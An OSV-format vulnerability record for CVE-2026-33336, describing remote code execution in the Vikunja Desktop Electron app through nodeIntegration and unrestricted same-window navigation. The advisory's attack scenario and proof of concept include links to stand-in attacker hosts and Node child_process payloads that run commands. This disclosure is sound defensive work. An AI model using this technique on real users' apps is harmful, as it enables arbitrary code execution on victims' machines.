{
  "affected": [
    {
      "ranges": [
        {
          "database_specific": {
            "versions": [
              {
                "introduced": "0.21.0"
              },
              {
                "fixed": "2.2.0"
              }
            ]
          },
          "events": [
            {
              "introduced": "e5cd4897d6be52c5bacb39a4ddae322921bfc0ee"
            },
            {
              "fixed": "b365be1881641dd2791d3dff4c26ad941c13cef6"
            }
          ],
          "repo": "https://github.com/go-vikunja/vikunja",
          "type": "GIT"
        }
      ]
    }
  ],
  "aliases": [
    "GHSA-83w9-9jf6-88vf"
  ],
  "database_specific": {
    "cna_assigner": "GitHub_M",
    "cwe_ids": [
      "CWE-94"
    ],
    "osv_generated_from": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33336.json"
  },
  "details": "Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.\n\n## Root cause\n\nTwo misconfigurations combine to create this vulnerability:\n\n1. **`nodeIntegration: true`** is set in `BrowserWindow` web preferences (`desktop/main.js:14-16`), giving any page loaded in the renderer full access to Node.js APIs (`require`, `child_process`, `fs`, etc.).\n\n2. **No `will-navigate` or `will-redirect` handler** is registered on the `webContents`. The existing `setWindowOpenHandler` (`desktop/main.js:19-23`) only intercepts `window.open()` calls (new-window requests). It does **not** intercept same-window navigations triggered by:\n   - `\u003ca href=\"https://...\"\u003e` links (without `target=\"_blank\"`)\n   - `window.location` assignments\n   - HTTP redirects\n   - `\u003cmeta http-equiv=\"refresh\"\u003e` tags\n\n## Attack scenario\n\n1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project).\n2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: `\u003ca href=\"https://evil.example/exploit\"\u003eClick here for the updated design spec\u003c/a\u003e`\n3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: `frontend/src/views/project/ProjectInfo.vue` uses `v-html` with DOMPurify-sanitized output.\n4. The victim uses Vikunja Desktop and clicks the link.\n5. Because no `will-navigate` handler exists, the BrowserWindow navigates to `https://evil.example/exploit` in the same renderer process.\n6. The attacker's page now executes in a context with `nodeIntegration: true` and runs: `require('child_process').exec('id \u003e /tmp/pwned');`\n7. Arbitrary commands execute as the victim's OS user.\n\n## Impact\n\nFull remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.\n\n## Proof of concept\n\n1. Set up a Vikunja instance with two users sharing a project.\n2. As the attacker user, edit a project description to include: `\u003ca href=\"https://attacker.example/poc.html\"\u003eMeeting notes\u003c/a\u003e`\n3. Host poc.html with: `\u003cscript\u003erequire('child_process').exec('calc.exe')\u003c/script\u003e`\n4. As the victim, open the project in Vikunja Desktop and click the link.\n5. calc.exe (or any other command) executes on the victim's machine.\n\n## Credits\n\nThis vulnerability was found using [GitHub Security Lab Taskflows](https://github.com/GitHubSecurityLab/seclab-taskflows).",
  "id": "CVE-2026-33336",
  "modified": "2026-04-01T23:08:57.580875811Z",
  "published": "2026-03-24T15:16:14.681Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33336.json"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-83w9-9jf6-88vf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33336"
    },
    {
      "type": "WEB",
      "url": "https://vikunja.io/changelog/vikunja-v2.2.0-was-released"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Vikunja Desktop vulnerable to Remote Code Execution via same-window navigation"
}